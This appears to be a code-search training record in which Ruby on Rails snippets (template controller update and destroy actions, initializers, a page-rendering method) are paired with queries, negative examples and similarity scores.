"def update\n @gift_template = GiftTemplate.find(params[:id])\n\n respond_to do |format|\n if @gift_template.update_attributes(params[:gift_template])\n format.html { redirect_to gift_templates_path, notice: 'Gift template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @position = Position.new(params[:position])\n positions = Position.find(:all, :conditions => [\"layout_template_id = ?\",params[:position][:layout_template_id]])\n if positions.size == 0\n @position.main_position = true\n else\n @position.main_position = false\n end\n\n render :update do |page|\n if @position.save\n page.insert_html :after, \"layout_template_#{@position.layout_template_id}\", :partial => \"positions/row_form\",\n :locals => {:position => @position, :counter => LayoutTemplate.find(:all).index(@position.layout_template)}\n end\n end\n end",
"def update(id, values, update_published = false)\n @client.call(method: :put, path: \"templates/#{id}\", body_values: values, query_values: { update_published: update_published })\n end",
"def update\n @node_template = NodeTemplate.find(params[:id])\n\n respond_to do |format|\n if @node_template.update_attributes(params[:node_template])\n format.html { redirect_to @node_template, notice: 'Node template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n if @admin_kpi_template.update_attributes(params[:admin_kpi_template])\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_template\n @template = Template.find(params[:id])\n end",
"def update\n authorize! :manage, :all\n respond_to do |format|\n if @question_template.update(question_template_params)\n format.html do redirect_to question_template_path(@question_template),\n notice: 'Question template was successfully updated.'\n end\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def template_image=(filepath)\n @template_image = read_image(filepath)\n end",
"def update\n respond_to do |format|\n if @my_template.update(my_template_params)\n format.html { redirect_to @my_template, notice: 'My template was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_template }\n else\n format.html { render :edit }\n format.json { render json: @my_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_template_params\n params.require(:item_template).permit(:id, :name, :description, :item_type, :strength, :intellect, :agility, :sell_cost,:buy_cost,:purchasable, :bag_template_id, :reward_template_id,\n image_attributes:[:id, :image_content, :type],\n resist_templates_attributes:[:id, :physical, :fire, :water, :earth, :holy, :necrotic, :nature, :item_template_id],\n attack_type_template_attributes:[:id, :name, :attack, :attack_type, :crit_chance, :crit_rate, :item_template_id])\n end",
"def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_template.update(request_template_params)\n respond format, 'Request template was successfully updated.'\n else\n format.html { render :edit }\n format.json { render json: @request_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n \n #@template.creator = current_user.id\n if @template.update(template_params)\n @template.creator=current_user.id\n @template.save\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name=nil)\n if name\n template = find(name)\n template.update\n else\n list.each do |template|\n template.update\n end\n end\n end",
"def update\n @template = CustomTemplate.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n\t\tformat.html { redirect_to(\"/custom_templates/\" + @template.id.to_s + \"/edit\", :notice => 'CustomTemplate was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @question_template = QuestionTemplate.new(params[:question_template])\n params[:files].each_pair do |field_name, file|\n unless file.original_filename.empty?\n @question_template.send \"#{field_name}=\", file.original_filename\n end\n end\n\n respond_to do |format|\n if @question_template.save\n @question_template.upload_files(params[:files].values)\n\n format.html { redirect_to [:admin,@question_template], notice: 'Question template was successfully created.' }\n format.json { render json: @question_template, status: :created, location: @question_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post_template.update(post_template_params)\n format.html { redirect_to @post_template, notice: 'Post template was successfully updated.' }\n format.json { render :show, status: :ok, location: @post_template }\n else\n format.html { render :edit }\n format.json { render json: @post_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @script_template.update(script_template_params)\n format.html { redirect_to script_template_url(@script_template), notice: \"Script template was successfully updated.\" }\n format.json { render :show, status: :ok, location: @script_template }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @script_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_template\n self.template = \"template 14231\"\n end",
"def update\n respond_to do |format|\n if @book_template.update(book_template_params)\n\n save_file\n\n format.html { redirect_to @book_template, notice: 'Book template was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_template }\n else\n format.html { render :edit }\n format.json { render json: @book_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_position\n @photo = @album.photos.find(params[:id])\n @photo.insert_at(params[:position].to_i)\n \n render :text => 'Success'\n end",
"def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n @template = args[:template] if args.key?(:template)\n end",
"def set_template\n Settings.reload!\n @template = Template.find(params[:id])\n end",
"def template_upload(*paths)\n remote_path = paths.pop\n templates = []\n paths.collect! do |path| \n if StringIO === path\n path.rewind\n template = Rye::Tpl.new(path.read, \"inline-template\")\n elsif String === path\n raise \"No such file: #{Dir.pwd}/#{path}\" unless File.exists?(path)\n template = Rye::Tpl.new(File.read(path), File.basename(path))\n end\n template.result!(binding)\n templates << template\n template.path\n end\n paths << remote_path\n ret = self.file_upload *paths\n templates.each { |template| \n tmp_path = File.join(remote_path, File.basename(template.path))\n if file_exists?(tmp_path)\n mv tmp_path, File.join(remote_path, template.basename)\n end\n template.delete \n }\n ret\n end",
"def set_template\n tid = Integer(params[:id]) rescue nil\n if tid\n @template = Template.find_by_id(tid)\n else\n @template = Template.find_by_name(params[:id])\n end\n respond_err \"template\", @templates, \"i18> Template #{params[:id]} not found\" unless @template\n end"
] |
[
"0.6828326",
"0.6690431",
"0.6384763",
"0.63631153",
"0.6201784",
"0.615003",
"0.6104498",
"0.608083",
"0.6065748",
"0.59648013",
"0.5955816",
"0.5943629",
"0.5906332",
"0.5838658",
"0.580589",
"0.5748051",
"0.57070994",
"0.5676574",
"0.5656723",
"0.56497896",
"0.5598645",
"0.5573793",
"0.5552418",
"0.55495834",
"0.5548526",
"0.5542758",
"0.55417633",
"0.5536605",
"0.55336833",
"0.5532441",
"0.55145895",
"0.5505868",
"0.54866016",
"0.5485747",
"0.5485747",
"0.5471709",
"0.54702204",
"0.54702204",
"0.5470216",
"0.5462244",
"0.54545695",
"0.5441169",
"0.5439229",
"0.5419637",
"0.5415953",
"0.5410709",
"0.5405862",
"0.5398023",
"0.5394636",
"0.5393796",
"0.5392834",
"0.5390578",
"0.53855866",
"0.5372712",
"0.5357315",
"0.53547114",
"0.5350184",
"0.5350184",
"0.5350184",
"0.5350184",
"0.5350184",
"0.5350184",
"0.5350184",
"0.5350184",
"0.5346295",
"0.5343529",
"0.53416336",
"0.5340543",
"0.5339189",
"0.53369063",
"0.53297865",
"0.5323841",
"0.531827",
"0.531715",
"0.5300721",
"0.5293812",
"0.52812964",
"0.5278651",
"0.527665",
"0.52730286",
"0.52645195",
"0.5264416",
"0.5263714",
"0.52573967",
"0.52478254",
"0.524691",
"0.524046",
"0.5237619",
"0.5214949",
"0.5214577",
"0.52106124",
"0.52064294",
"0.52061844",
"0.52028775",
"0.519224",
"0.519161",
"0.51855433",
"0.5182247",
"0.51793414",
"0.5174199"
] |
0.70944154
|
0
|
DELETE /image_position_templates/1 DELETE /image_position_templates/1.json
|
def destroy
@image_position_template = ImagePositionTemplate.find(params[:id])
@image_position_template.destroy
respond_to do |format|
format.html { redirect_to image_position_templates_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n super \"/templates/#{template_id}.json\", {}\n end",
"def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attr_template.destroy\n respond_to do |format|\n format.html { redirect_to attr_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inventory_template = InventoryTemplate.find(params[:id])\n @inventory_template.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template_position.destroy\n respond_to do |format|\n format.html { redirect_to template_positions_url, notice: 'Template position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @loc_image.destroy\n respond_to do |format|\n format.html { redirect_to loc_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_template = Template.find(params[:id])\n @admin_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end",
"def delete\n response = CreateSend.delete \"/templates/#{template_id}.json\", {}\n end",
"def destroy\n @node_template = NodeTemplate.find(params[:id])\n @node_template.destroy\n\n respond_to do |format|\n format.html { redirect_to node_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template_photo.destroy\n respond_to do |format|\n format.html { redirect_to template_photos_url, notice: 'Template photo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gift_template = GiftTemplate.find(params[:id])\n @gift_template.destroy\n\n respond_to do |format|\n format.html { redirect_to gift_templates_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @custom_pet_template.destroy\n respond_to do |format|\n format.html { redirect_to custom_pet_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @structure_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end",
"def destroy\n @crawler_template = CrawlerTemplate.find(params[:id])\n @crawler_template.destroy\n\n respond_to do |format|\n format.html { redirect_to crawler_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_template = InvoiceTemplate.find(params[:id])\n @invoice_template.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page_template = PageTemplate.find(params[:id])\n @page_template.destroy\n\n respond_to do |format|\n format.html { redirect_to page_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uploaded_image = UpdatedImage.find(params[:id])\n @uploaded_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(template_files_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url, notice: 'Item template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bulk_message_template = BulkMessageTemplate.find(params[:id])\n @bulk_message_template.destroy\n\n respond_to do |format|\n format.html { redirect_to bulk_message_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @score_template = ScoreTemplate.find(params[:id])\n @score_template.destroy\n\n respond_to do |format|\n format.html { redirect_to score_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset_category_template.destroy\n respond_to do |format|\n format.html { redirect_to asset_category_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = set_template\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @collage_template = CollageTemplate.find(params[:id])\n @collage_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(collage_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inspection_template.destroy\n respond_to do |format|\n format.html { redirect_to inspection_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #Finds selected image\n @image = Image.find(params[:id])\n #destroy image\n @image.destroy\n respond_to do |format|\n format.html { redirect_to '/admin' }\n format.json { head :ok }\n end\n end",
"def destroy\n mytemplate = Mytemplate.get(params[:id])\n close_document(mytemplate)\n \n begin\n if mytemplate != nil\n if File.exist?(mytemplate.path) \n FileUtils.rm_rf mytemplate.path\n end\n \n if File.exist?(mytemplate.file_path+mytemplate.id.to_s) \n FileUtils.rm_rf mytemplate.file_path+mytemplate.id.to_s\n end\n\n end\n rescue\n puts_message \"Error! in progress of mytemplate file deletion.\"\n end\n\n mytemplate.destroy\n \n respond_to do |format|\n format.html { redirect_to(mytemplates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n end",
"def destroy\n request(:delete, \"/computing/image/#{uuid}\")\n true\n end",
"def destroy\n @lcb_image_position.destroy\n respond_to do |format|\n format.html { redirect_to lcb_image_positions_url, notice: 'Lcb image position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n item = FormTemplate.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end",
"def destroy\n @purchase_template = PurchaseTemplate.find(params[:id])\n @purchase_template.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailee_template = Mailee::Template.find(params[:id])\n @mailee_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(mailee_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @location = Location.find(params[:id])\r\n RemovedLocation.create(server_id: Integer(params[:id]))\r\n directory = Rails.root.join('app','assets','locations');\r\n\r\n path = File.join(directory, @location.image)\r\n File.delete(path)\r\n @location.destroy\r\n mv = MapsVersion.first\r\n mv.version = mv.version+1\r\n mv.save\r\n respond_to do |format|\r\n format.html { redirect_to locations_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete(options={})\n DNSimple::Client.delete \"templates/#{id}\", options\n end",
"def destroy\n @show_template.destroy\n respond_to do |format|\n format.html { redirect_back_to show_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @newsletters_template = Newsletters::Template.find(params[:id])\n @newsletters_template.destroy\n\n respond_to do |format|\n format.html { redirect_to newsletters_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @docu_template.destroy\n respond_to do |format|\n format.html { redirect_to docu_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n ImagesIndex.delete params[:id]\n respond_to do |format|\n format.html { redirect_to(\"/images_indices\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @stampimage.destroy\n respond_to do |format|\n format.html { redirect_to stampimages_url, notice: 'スタンプを削除しました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @text2_image = Text2Image.find(params[:id])\n @text2_image.destroy\n\n respond_to do |format|\n format.html { redirect_to text2_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template_package.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @custom_template.destroy\n redirect_to custom_templates_url\n end",
"def destroy\n output = \"oneimage delete #{resource[:name]} \", self.class.login\n `#{output}`\n end",
"def destroy\n @config_template = ConfigTemplate.find(params[:id])\n json=@config_template.to_json\n xml=@config_template.to_xml\n\n @config_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_templates_url) }\n format.json { render :json => json }\n format.xml { render :xml => xml }\n end\n end",
"def destroy\n id = @taxi_image.taxi_sevice_id\n @taxi_image.destroy\n respond_to do |format|\n format.html { redirect_to \"/taxi_sevices/\" + id.to_s, notice: 'Taxi image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mapimage.destroy\n respond_to do |format|\n format.html { redirect_to mapimages_url, notice: 'Mapimage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html {redirect_to admin_path, notice: 'Image was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def delete\n item = FormImage.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end",
"def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.find(params[:id])\n @admin_kpi_category_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_category_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_template.destroy\n respond_to do |format|\n format.html { redirect_to my_templates_url, notice: 'My template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(data)\n result = @client.api_request(:method => \"template.delete\", :params => [data])\n result.empty? ? nil : result['templateids'][0].to_i\n end",
"def destroy\n @image_path = ImagePath.find(params[:id])\n @image_path.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_paths_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @correspondence_template = CorrespondenceTemplate.find(params[:id])\n @correspondence_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondence_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @column_image.destroy\n respond_to do |format|\n format.html { redirect_to column_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image_reference.destroy\n respond_to do |format|\n format.html { redirect_to image_references_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @setup_image.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_image.destroy\n redirect_to admin_raw_images_path\n end",
"def destroy\n @imagedemo.destroy\n respond_to do |format|\n format.html { redirect_to imagedemos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @region = RegionTemplate.find(params[:id])\n @region.destroy\n\n respond_to do |format|\n format.html { redirect_to(region_templates_url) }\n format.xml { head :ok }\n end\n end",
"def delete_content_template(id)\n # TODO: Inform ContentTemplateController.destroy method has been modified\n @client.raw('delete', \"/content/templates/#{id}\")\n end",
"def destroy\n @project_template = ProjectTemplate.find(params[:id])\n @project_template.destroy\n\n respond_to do |format|\n format.html { redirect_to project_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cf_template.destroy\n respond_to do |format|\n format.html { redirect_to cf_templates_url, notice: I18n.t('cf_templates.msg.deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nagios_service_escalation_template = NagiosServiceEscalationTemplate.find(params[:id])\n @nagios_service_escalation_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(nagios_service_escalation_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post_template.destroy\n respond_to do |format|\n format.html { redirect_to post_templates_url, notice: 'Post template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :manage, :all\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @markdown_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_markdown_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.json { head :ok }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_path, notice: 'template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to(templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if @template.destroy\n respond_ok \"template\", @template\n else\n respond_err \"template\", @template, @template.errors\n end\n end",
"def destroy\n @emailtemplate.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n render json: {status: \"success\"}, status: :ok\n end",
"def destroy\n current_site.grid_templates.find(params[:id]).destroy\n index\n end",
"def destroy\n @template_container = TemplateContainer.find(params[:id])\n @template_container.destroy\n respond_to do |format|\n format.html { redirect_to(template_containers_url) }\n format.xml { head :ok }\n format.js { render :layout => false }\n end\n end",
"def destroy\n @map_image = MapImage.find(params[:id])\n @map_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(map_images_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @admin_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.tags.destroy_all\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = ItemTemplate.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @experience_image.destroy\n respond_to do |format|\n format.html { redirect_to experience_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quest_template = QuestTemplate.find(params[:id])\n \n begin\n @quest_template.quest_giver.destroy\n @quest_template.quest_involver.destroy\n rescue Exception => e\n end\n @quest_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(quest_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image_section = ImageSection.find(params[:id])\n @image_section.destroy\n\n respond_to do |format|\n format.html { redirect_to image_sections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @script_template.destroy\n\n respond_to do |format|\n format.html { redirect_to script_templates_url, notice: \"Script template was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n Image.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe_image.destroy\n respond_to do |format|\n format.html { redirect_to recipe_images_url, notice: 'Recipe image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.74777067",
"0.6999338",
"0.692979",
"0.6883951",
"0.6875389",
"0.6872521",
"0.6865867",
"0.68420476",
"0.68387175",
"0.68291",
"0.6822052",
"0.6822051",
"0.68148935",
"0.681022",
"0.679123",
"0.67889833",
"0.6770979",
"0.67598546",
"0.675668",
"0.6750477",
"0.6746375",
"0.6744025",
"0.67275083",
"0.67214394",
"0.67181116",
"0.6714634",
"0.67090225",
"0.6701498",
"0.66869307",
"0.668553",
"0.66644603",
"0.66629624",
"0.6660886",
"0.6654798",
"0.66487056",
"0.6639634",
"0.6639634",
"0.6639634",
"0.6636741",
"0.66252095",
"0.66247815",
"0.66247386",
"0.66150177",
"0.66127783",
"0.66125345",
"0.6612339",
"0.6607974",
"0.6601808",
"0.6598072",
"0.6595009",
"0.65859133",
"0.6585111",
"0.658309",
"0.65751326",
"0.6572499",
"0.657247",
"0.6567586",
"0.6567586",
"0.65636694",
"0.656225",
"0.65557176",
"0.65473723",
"0.6546935",
"0.6542459",
"0.65408725",
"0.6538259",
"0.6536366",
"0.65359694",
"0.6529932",
"0.6529489",
"0.65276915",
"0.65215206",
"0.65215206",
"0.65215206",
"0.65215206",
"0.65215206",
"0.65215206",
"0.65207726",
"0.6518895",
"0.65163046",
"0.65035594",
"0.65003884",
"0.64999247",
"0.64902586",
"0.6484742",
"0.64824027",
"0.6479722",
"0.6463951",
"0.64632654",
"0.6451534",
"0.644949",
"0.64478666",
"0.64418125",
"0.6441378",
"0.6435369",
"0.6434674",
"0.64325386",
"0.64308184",
"0.6429158",
"0.64274806"
] |
0.79537046
|
0
|
def initialize(widget, opts) super end
|
def content
super
@renderer = @widget.content
div :id => 'doc3' do
if @renderer.render? :header
div :id => 'hd' do
if @renderer.render? :top_line
render_top_line
end
if @renderer.render? :title
h1 @page_title || 'Missing :page_title'
end
end
end
div :id => 'bd' do
render_body
end
if @renderer.render? :footer
div :id => 'ft' do
render_footer
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize()\n # override parent\n end",
"def initialize(object, **opts)\n super\n end",
"def initialize(*_)\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize(*args)\n super\n end",
"def initialize(*args)\n super\n end",
"def initialize(*args)\n super\n end",
"def initialize *args\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end"
] |
[
"0.7743177",
"0.7499705",
"0.73761314",
"0.7375761",
"0.7375761",
"0.7375761",
"0.7370563",
"0.7370563",
"0.7370563",
"0.7364574",
"0.7364129",
"0.7364129",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
